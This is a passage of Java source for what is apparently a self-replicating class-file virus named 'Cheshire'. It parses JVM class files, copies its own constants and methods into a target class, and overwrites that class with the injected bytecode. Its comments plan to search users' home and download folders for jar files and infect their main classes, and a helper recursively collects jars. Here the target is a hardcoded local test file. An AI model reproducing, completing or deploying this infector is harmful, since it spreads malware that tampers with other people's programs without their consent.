     * @param parsedClass
     * @return
     */
    public static String getClassName(HashMap<String, Object> parsedClass){
        byte[] selfClassBytes = (byte[]) parsedClass.get("this_class");
        byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool");
        ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
        int self_class_index = selfBytes.getShort();
        byte[] selfClass = constant_pool[self_class_index-1];
        ByteBuffer selfClassBuff = ByteBuffer.wrap(selfClass);
        selfClassBuff.get();
        int classNameIndex = selfClassBuff.getShort();
        return getUtf8Constant(classNameIndex, parsedClass);
    }

    /**
     * Let's think about how we're doing this...
     *
     * Ideally we want to pass in the original constant index, copy the data, place it in the target
     * and return the new index. This makes copying methods easier when it comes to the attributes.
     *
     * @return The new index of the copied constant
     */
   public static int copyConstant(HashMap<String, Object> origin, int origin_index, HashMap<String, Object> destination){
       byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
       byte[] orig_constant = constant_pool[origin_index-1];

       //Create a map between the old and new constant pools
       //This will help us avoid copying too many vars over and being wasteful
       if(origin.get("constant_pool_map") == null){
           HashMap<Integer, Integer> constant_pool_map = new HashMap<Integer, Integer>();
           origin.put("constant_pool_map", constant_pool_map);
       }
       HashMap<Integer, Integer> constant_pool_map = (HashMap<Integer, Integer>) origin.get("constant_pool_map");
       if(constant_pool_map.keySet().contains(origin_index)){
           return constant_pool_map.get(origin_index);
       }
       int const_tag = orig_constant[0];
       if(const_tag == 1){
           int new_index = addToPool(destination, orig_constant);
           constant_pool_map.put(origin_index, new_index);
           return new_index;
       }
       else if(const_tag == 7){
           ByteBuffer b = ByteBuffer.allocate(3);
           int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
           int new_name_index = copyConstant(origin, orig_name_index, destination);
           b.put(orig_constant[0]);
           b.putShort((short) new_name_index);
           byte[] new_constant = b.array();
           int new_index;
           if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){
               byte[] selfClassBytes = (byte[]) destination.get("this_class");
               ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
               new_index = selfBytes.getShort();
           }
           else{
               new_index = addToPool(destination, new_constant);
               constant_pool_map.put(origin_index, new_index);
           }
           return new_index;
       }
       else if(const_tag == 9 || const_tag == 10 || const_tag == 11){
           ByteBuffer b = ByteBuffer.allocate(5);
           int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
           int new_class_index = copyConstant(origin, orig_class_index, destination);
           String thisClass = getClassName(origin);
           byte[] methodClassBytes = constant_pool[orig_class_index-1];
           ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes);
           methodClassBuffer.get();
           int classNameIndex = methodClassBuffer.getShort();
           String methodClassName = getUtf8Constant(classNameIndex, origin);
           if(methodClassName.equals(getClassName(origin))){
               byte[] selfClassBytes = (byte[]) destination.get("this_class");
               byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool");
               ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
               new_class_index = selfBytes.getShort();
           }
           b.put(orig_constant[0]);
           b.putShort((short) new_class_index);
           int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
           int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
           b.putShort((short) new_name_and_type_index);
           byte[] new_constant = b.array();
           int new_index = addToPool(destination, new_constant);
           constant_pool_map.put(origin_index, new_index);
           return new_index;
       }
       else if(const_tag == 8){
           ByteBuffer b = ByteBuffer.allocate(3);
           b.put(orig_constant[0]);
           int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
           int new_string_index = copyConstant(origin, orig_string_index, destination);
           b.putShort((short) new_string_index);
           byte[] new_constant = b.array();
           int new_index = addToPool(destination, new_constant);
           constant_pool_map.put(origin_index, new_index);
           return new_index;

       }
       else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){
           int new_index = addToPool(destination, orig_constant);
           constant_pool_map.put(origin_index, new_index);
           return new_index;
       }
       else if(const_tag == 12){
           ByteBuffer b = ByteBuffer.allocate(5);
           b.put(orig_constant[0]);
           int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
           int new_name_index = copyConstant(origin, orig_name_index, destination);
           b.putShort((short) new_name_index);
           int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
           int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
           b.putShort((short) new_descriptor_index);
           byte[] new_constant = b.array();
           int new_index = addToPool(destination, new_constant);
           constant_pool_map.put(origin_index, new_index);
           return new_index;
       }
       else if(const_tag == 15){
           ByteBuffer b = ByteBuffer.allocate(4);
           b.put(orig_constant[0]);
           b.put(orig_constant[1]);
           int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF));
           int new_reference_index = copyConstant(origin, old_reference_index, destination);
           b.putShort((short) new_reference_index);
           byte[] new_constant = b.array();
           int new_index = addToPool(destination, new_constant);
           constant_pool_map.put(origin_index, new_index);
           return new_index;
       }
       else if(const_tag == 16){
           ByteBuffer b = ByteBuffer.allocate(3);
           b.put(orig_constant[0]);
           int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
           int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
           b.putShort((short) new_descriptor_index);
           byte[] new_constant = b.array();
           int new_index = addToPool(destination, new_constant);
           constant_pool_map.put(origin_index, new_index);
           return new_index;
       }
       else if(const_tag == 18){
           ByteBuffer b = ByteBuffer.allocate(5);
           b.put(orig_constant[0]);
           b.put(orig_constant[1]);
           b.put(orig_constant[2]);
           int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
           int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
           b.putShort((short) new_name_and_type_index);
           byte[] new_constant = b.array();
           int new_index = addToPool(destination, new_constant);
           constant_pool_map.put(origin_index, new_index);
           return new_index;
       }
       else{
           return -1;
       }
   }

    /**
     * Find jar files given a directory
     * @param f
     * @return
     */
    public static void searchFile(File file, ArrayList<File> fileList) {
        File[] files = file.listFiles();
        if (files != null) {
            for (File f : file.listFiles()) {
                if (f.isFile() && f.getName().endsWith(".jar")) {
                    System.out.println("Added " + f.getAbsolutePath());
                    fileList.add(f);
                } else if (f.isDirectory() && f.canRead()) {
                    searchFile(f, fileList);
                }
            }
        }

    }
    /**
     * This is our main infection method.
     * We need to determine the target classfile name when we're copying this
     * because you can't figure out what class you're in while you're using a
     * static method. Can't call a method without a class unless the method is
     * statis, so we're at a bit of a catch-22. The solution is simple to hardcode
     * the class in the propagated bytecode.
     *
     * We need to know if we can just inject static methods or not. It seems like either
     * way you'd still need to change the constant pool.
     */
    public static void Cheshire() throws IOException {
        System.out.println("We're all mad down here...you may notice that I'm not all there myself.");

        /**
         * What logic do we want to implement?
         * Search folders for jar files, open them, look for main classes and infect?
         * Sounds good. How do we get our current path? Also need to know if on Linux or Windows.
         * Scan user dirs, home folders, downloads and look for running Java processes if on applicable version.
         */
        String h = MethodHandles.lookup().lookupClass().getResource(MethodHandles.lookup().lookupClass().getName() + ".class").getPath();
        System.out.println(h);
        String selfpath = SelfExamine.class.getProtectionDomain().getCodeSource().getLocation().getPath().replace("file:", "") + "SelfExamine.class";
        System.out.println(selfpath);
        String OS = (String) System.getProperties().get("os.name");
        String homedir = (String) System.getProperties().get("user.home");
        File home = new File(homedir);
        File fa = new File("dongs.txt");
        fa.createNewFile();


        System.out.println("Detected OS is " + OS);
        System.out.println("Home directory is " + homedir);
        File f = new File(".");
        System.out.println("Absolute path:" + f.getAbsolutePath());
        System.out.println("Directory listing:");

        for(String s : f.list()){
            System.out.println(s);
        }
        System.out.println(f.list());
        selfpath = selfpath.substring(1);
        HashMap<String, Object> parsedClass = parseClassFile(selfpath);
        HashMap<String, Object> goatClass = parseClassFile("C:\\Users\\Mike\\Desktop\\VirtualMachineTest.class");
        findOurMethods(parsedClass, goatClass);
        inject(parsedClass, goatClass);

        FileOutputStream fos = new FileOutputStream(new File("C:\\Users\\Mike\\Desktop\\VirtualMachineTest.class"));
        byte[] classbytes = classBytes(goatClass);
        fos.write(classbytes);
        fos.close();

    }

    /**
     * Return a hashmap with all of our shit in it.
     * We want to break this down into a hashmap of the sections
     * with maybe an arraylist of...objects? How do we keep the complexity low?
     * Store them as bytes? Do I even need to write a full parser? Probably not.
     *
     *
     * @param classfilepath
     * @return
     * @throws IOException
     */
    public static HashMap<String, Object> parseClassFile(String classfilepath) {
        try {

            Paths.get(classfilepath);
            byte[] classbytes = Files.readAllBytes(Paths.get(classfilepath));

            DataInputStream dis = new DataInputStream(new ByteArrayInputStream(classbytes));
            byte[] magic = new byte[4];

            HashMap<String, Object> parsedClass = new HashMap<String, Object>();
            dis.read(magic);
            StringBuilder sb = new StringBuilder();

            for (byte b : magic) {
                sb.append(String.format("%02X", b));
            }

            if (sb.toString().equals("CAFEBABE")) {
                parsedClass.put("magic", magic);
                byte[] minor_version = new byte[2];
                dis.read(minor_version);
                parsedClass.put("minor_version", minor_version);
                byte[] major_version = new byte[2];
                dis.read(major_version);
                parsedClass.put("major_version", major_version);
                byte[] constant_pool_count = new byte[2];
                dis.read(constant_pool_count);
                parsedClass.put("constant_pool_count", constant_pool_count);
                int constant_count_int = (short) (((constant_pool_count[0] & 0xFF) << 8) | (constant_pool_count[1] & 0xFF));
                byte[][] constant_pool = new byte[constant_count_int-1][];

                for (int i = 0; i < constant_count_int-1; i++) {

                    byte tagbyte = dis.readByte();
                    int tag = tagbyte;

                    if (tag == 7) {
                        // CONSTANT_Class_info
                        byte[] class_info_bytes = new byte[3];
                        class_info_bytes[0] = tagbyte;
                        class_info_bytes[1] = dis.readByte();
                        class_info_bytes[2] = dis.readByte();
                        constant_pool[i] = class_info_bytes;
                    } else if (tag == 9) {
                        //Constant_Fieldref
                        byte[] fieldref_info_bytes = new byte[5];
                        fieldref_info_bytes[0] = tagbyte;
                        fieldref_info_bytes[1] = dis.readByte();
                        fieldref_info_bytes[2] = dis.readByte();
                        fieldref_info_bytes[3] = dis.readByte();
                        fieldref_info_bytes[4] = dis.readByte();
                        constant_pool[i] = fieldref_info_bytes;
                    } else if (tag == 10) {
                        //Constant_Methodref
                        byte[] methodref_info_bytes = new byte[5];
                        methodref_info_bytes[0] = tagbyte;
                        methodref_info_bytes[1] = dis.readByte();
                        methodref_info_bytes[2] = dis.readByte();
                        methodref_info_bytes[3] = dis.readByte();
                        methodref_info_bytes[4] = dis.readByte();
                        constant_pool[i] = methodref_info_bytes;
                    } else if (tag == 11) {
                        //Constant_InterfaceMethodref
                        byte[] interfacemethodref_info_bytes = new byte[5];
                        interfacemethodref_info_bytes[0] = tagbyte;
                        interfacemethodref_info_bytes[1] = dis.readByte();
                        interfacemethodref_info_bytes[2] = dis.readByte();
                        interfacemethodref_info_bytes[3] = dis.readByte();
                        interfacemethodref_info_bytes[4] = dis.readByte();
                        constant_pool[i] = interfacemethodref_info_bytes;
                    } else if (tag == 8) {
                        //Constant_String
                        byte[] string_info_bytes = new byte[3];
                        string_info_bytes[0] = tagbyte;
                        string_info_bytes[1] = dis.readByte();
                        string_info_bytes[2] = dis.readByte();
                        constant_pool[i] = string_info_bytes;
                    } else if (tag == 3) {
                        //Constant_Integer
                        byte[] integer_info_bytes = new byte[5];
                        integer_info_bytes[0] = tagbyte;
                        integer_info_bytes[1] = dis.readByte();
                        integer_info_bytes[2] = dis.readByte();
                        integer_info_bytes[3] = dis.readByte();
                        integer_info_bytes[4] = dis.readByte();
                        constant_pool[i] = integer_info_bytes;
                    } else if (tag == 4) {
                        //Constant_Float
                        byte[] float_info_bytes = new byte[5];
                        float_info_bytes[0] = tagbyte;
                        float_info_bytes[1] = dis.readByte();
                        float_info_bytes[2] = dis.readByte();
                        float_info_bytes[3] = dis.readByte();
                        float_info_bytes[4] = dis.readByte();
                        constant_pool[i] = float_info_bytes;
                    } else if (tag == 5) {
                        //Constant_Long
                        byte[] long_info_bytes = new byte[9];
                        long_info_bytes[0] = tagbyte;
                        long_info_bytes[1] = dis.readByte();
                        long_info_bytes[2] = dis.readByte();
                        long_info_bytes[3] = dis.readByte();
                        long_info_bytes[4] = dis.readByte();
                        long_info_bytes[5] = dis.readByte();
                        long_info_bytes[6] = dis.readByte();
                        long_info_bytes[7] = dis.readByte();
                        long_info_bytes[8] = dis.readByte();
                        constant_pool[i] = long_info_bytes;
                    } else if (tag == 6) {
                        //Constant_Double
                        byte[] double_info_bytes = new byte[9];
                        double_info_bytes[0] = tagbyte;
                        double_info_bytes[1] = dis.readByte();
                        double_info_bytes[2] = dis.readByte();
                        double_info_bytes[3] = dis.readByte();
                        double_info_bytes[4] = dis.readByte();
                        double_info_bytes[5] = dis.readByte();
                        double_info_bytes[6] = dis.readByte();
                        double_info_bytes[7] = dis.readByte();
                        double_info_bytes[8] = dis.readByte();
                        constant_pool[i] = double_info_bytes;
                    } else if (tag == 12) {
                        //Constant_NameAndType
                        byte[] nameandtype_info_bytes = new byte[5];
                        nameandtype_info_bytes[0] = tagbyte;
                        nameandtype_info_bytes[1] = dis.readByte();
                        nameandtype_info_bytes[2] = dis.readByte();
                        nameandtype_info_bytes[3] = dis.readByte();
                        nameandtype_info_bytes[4] = dis.readByte();
                        constant_pool[i] = nameandtype_info_bytes;
                    } else if (tag == 1) {
                        //Constant_Utf8
                        byte[] lengthbytes = new byte[2];
                        lengthbytes[0] = dis.readByte();
                        lengthbytes[1] = dis.readByte();
                        int length = (short) (((lengthbytes[0] & 0xFF) << 8) | (lengthbytes[1] & 0xFF));
                        byte[] utf_bytes = new byte[3 + length];
                        utf_bytes[0] = tagbyte;
                        utf_bytes[1] = lengthbytes[0];
                        utf_bytes[2] = lengthbytes[1];
                        for (int a = 0; a < length; a++) {
                            utf_bytes[a + 3] = dis.readByte();
                        }
                        constant_pool[i] = utf_bytes;
                    } else if (tag == 15) {
                        //Constant_MethodHandle
                        byte[] methodhandle_info_bytes = new byte[4];
                        methodhandle_info_bytes[0] = tagbyte;
                        methodhandle_info_bytes[1] = dis.readByte();
                        methodhandle_info_bytes[2] = dis.readByte();
                        methodhandle_info_bytes[3] = dis.readByte();
                        constant_pool[i] = methodhandle_info_bytes;
                    } else if (tag == 16) {
                        //Constant_MethodType
                        byte[] methodtype_info_bytes = new byte[3];
                        methodtype_info_bytes[0] = tagbyte;
                        methodtype_info_bytes[1] = dis.readByte();
                        methodtype_info_bytes[2] = dis.readByte();
                        constant_pool[i] = methodtype_info_bytes;
                    } else if (tag == 18) {
                        //Constant_InvokeDynamic
                        byte[] invokedynamic_info_bytes = new byte[5];
                        invokedynamic_info_bytes[0] = tagbyte;
                        invokedynamic_info_bytes[1] = dis.readByte();
                        invokedynamic_info_bytes[2] = dis.readByte();
                        invokedynamic_info_bytes[3] = dis.readByte();
                        invokedynamic_info_bytes[4] = dis.readByte();
                        constant_pool[i] = invokedynamic_info_bytes;
                    } else {
                    }

                }
                parsedClass.put("constant_pool", constant_pool);
                byte[] access_flags = new byte[2];
                dis.read(access_flags);
                parsedClass.put("access_flags", access_flags);
                byte[] this_class = new byte[2];
                dis.read(this_class);
                parsedClass.put("this_class", this_class);
                byte[] super_class = new byte[2];
                dis.read(super_class);
                parsedClass.put("super_class", super_class);
                byte[] interfaces_count = new byte[2];
                dis.read(interfaces_count);
                parsedClass.put("interfaces_count", interfaces_count);

                int iface_count = (short) (((interfaces_count[0] & 0xFF) << 8) | (interfaces_count[1] & 0xFF));
                byte[][] interfaces = new byte[iface_count][];

                for (int iface_loop = 0; iface_loop < iface_count; iface_loop++) {
                    byte[] iface = new byte[2];
                    iface[0] = dis.readByte();
                    iface[1] = dis.readByte();
                    interfaces[iface_loop] = iface;
                }

                parsedClass.put("interfaces", interfaces);

                byte[] fields_count = new byte[2];
                dis.read(fields_count);
                parsedClass.put("fields_count", fields_count);
                int f_count = (short) (((fields_count[0] & 0xFF) << 8) | (fields_count[1] & 0xFF));

                byte[][] fields = new byte[f_count][];

                for (int fields_loop = 0; fields_loop < f_count; fields_loop++) {
                    ByteArrayOutputStream field = new ByteArrayOutputStream();
                    byte[] fieldfixed = new byte[8];
                    dis.read(fieldfixed);
                    field.write(fieldfixed);
                    int attributes_count = (short) (((fieldfixed[6] & 0xFF) << 8) | (fieldfixed[7] & 0xFF));
                    for (int attributes = 0; attributes < attributes_count; attributes++) {
                        ByteArrayOutputStream attribute = new ByteArrayOutputStream();
                        byte[] attribute_name_index = new byte[2];
                        byte[] attribute_length = new byte[4];
                        dis.read(attribute_name_index);
                        dis.read(attribute_length);
                        int attribute_len = ByteBuffer.wrap(attribute_length).getInt();
                        byte[] info = new byte[attribute_len];
                        dis.read(info);
                        attribute.write(attribute_name_index);
                        attribute.write(attribute_length);
                        attribute.write(info);
                        field.write(attribute.toByteArray());
                    }
                    fields[fields_loop] = field.toByteArray();
                }

                parsedClass.put("fields", fields);

                byte[] methods_count = new byte[2];
                dis.read(methods_count);

                parsedClass.put("methods_count", methods_count);

                int method_count = (short) (((methods_count[0] & 0xFF) << 8) | (methods_count[1] & 0xFF));

                byte[][] methods = new byte[method_count][];

                for (int methods_loop = 0; methods_loop < method_count; methods_loop++) {
                    ByteArrayOutputStream methodbytes = new ByteArrayOutputStream();
                    byte[] methodfixed = new byte[8];
                    dis.read(methodfixed);
                    int attribute_count = (short) (((methodfixed[6] & 0xFF) << 8) | (methodfixed[7] & 0xFF));
                    ByteArrayOutputStream method_attributes = new ByteArrayOutputStream();

                    for (int attribute_loop = 0; attribute_loop < attribute_count; attribute_loop++) {
                        ByteArrayOutputStream attribute = new ByteArrayOutputStream();
                        byte[] attribute_name_index = new byte[2];
                        byte[] attribute_length = new byte[4];
                        dis.read(attribute_name_index);
                        dis.read(attribute_length);
                        int attribute_length_int = ByteBuffer.wrap(attribute_length).getInt();
                        byte[] attribute_bytes = new byte[attribute_length_int];
                        dis.read(attribute_bytes);
                        attribute.write(attribute_name_index);
                        attribute.write(attribute_length);
                        attribute.write(attribute_bytes);
                        method_attributes.write(attribute.toByteArray());
                    }
                    methodbytes.write(methodfixed);
                    methodbytes.write(method_attributes.toByteArray());
                    methods[methods_loop] = methodbytes.toByteArray();
                }
                parsedClass.put("methods", methods);

                byte[] attributes_count = new byte[2];

                dis.read(attributes_count);

                parsedClass.put("attributes_count", attributes_count);

                int attribute_count = (short) (((attributes_count[0] & 0xFF) << 8) | (attributes_count[1] & 0xFF));

                byte[][] attributes = new byte[attribute_count][];

                for (int attribute_loop = 0; attribute_loop < attribute_count; attribute_loop++) {
                    ByteArrayOutputStream attribute = new ByteArrayOutputStream();
                    byte[] attribute_name_index = new byte[2];
                    byte[] attribute_length = new byte[4];
                    dis.read(attribute_name_index);
                    dis.read(attribute_length);
                    attribute.write(attribute_name_index);
                    attribute.write(attribute_length);
                    int attribute_length_int = ByteBuffer.wrap(attribute_length).getInt();
                    byte[] attribute_bytes = new byte[attribute_length_int];
                    dis.read(attribute_bytes);
                    attribute.write(attribute_bytes);
                    attributes[attribute_loop] = attribute.toByteArray();
                }
                parsedClass.put("attributes", attributes);
                dis.close();
                //fis.close();
                return parsedClass;

            } else {
                return null;
            }
        }
        catch(IOException e){
            e.printStackTrace();
        }
        return null;
    };

    /**
     * Convert a manipulated class back to bytes for writing.
     * @param parsedClass
     * @return
     * @throws IOException
     */
    public static byte[] classBytes(HashMap<String, Object> parsedClass) throws IOException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        bos.write((byte[]) parsedClass.get("magic"));
        bos.write((byte[]) parsedClass.get("minor_version"));
        bos.write((byte[]) parsedClass.get("major_version"));
        byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool");
        int cp_length = constant_pool.length + 1;

        ByteBuffer b = ByteBuffer.allocate(2);
        b.putShort((short) cp_length);
        byte[] cp_length_bytes = b.array();
        bos.write(cp_length_bytes);

        for(int i = 0; i < constant_pool.length; i++){
            bos.write(constant_pool[i]);
        }
        bos.write((byte[]) parsedClass.get("access_flags"));
        bos.write((byte[]) parsedClass.get("this_class"));
        bos.write((byte[]) parsedClass.get("super_class"));
        bos.write((byte[]) parsedClass.get("interfaces_count"));
        byte[][] interfaces = (byte[][]) parsedClass.get("interfaces");
        for(int i = 0; i < interfaces.length; i++){
            bos.write(interfaces[i]);
        }
        bos.write((byte[]) parsedClass.get("fields_count"));
        byte[][] fields = (byte[][]) parsedClass.get("fields");
        for(int i = 0; i < fields.length; i++){
            bos.write(fields[i]);
        }

        byte[][] methods = (byte[][]) parsedClass.get("methods");

        b.clear();
        b.putShort((short) methods.length);
        byte[] methods_count = b.array();
        bos.write(methods_count);
        for(int i = 0; i < methods.length; i++){
            bos.write(methods[i]);
        }

        bos.write((byte[]) parsedClass.get("attributes_count"));

        byte[][] attributes = (byte[][]) parsedClass.get("attributes");
        for(int i = 0; i < attributes.length; i++){
            bos.write(attributes[i]);
        }

        return bos.toByteArray();
    }

    public static void main(String[] args) throws IOException{
        Cheshire();
        System.exit(0);
    }
}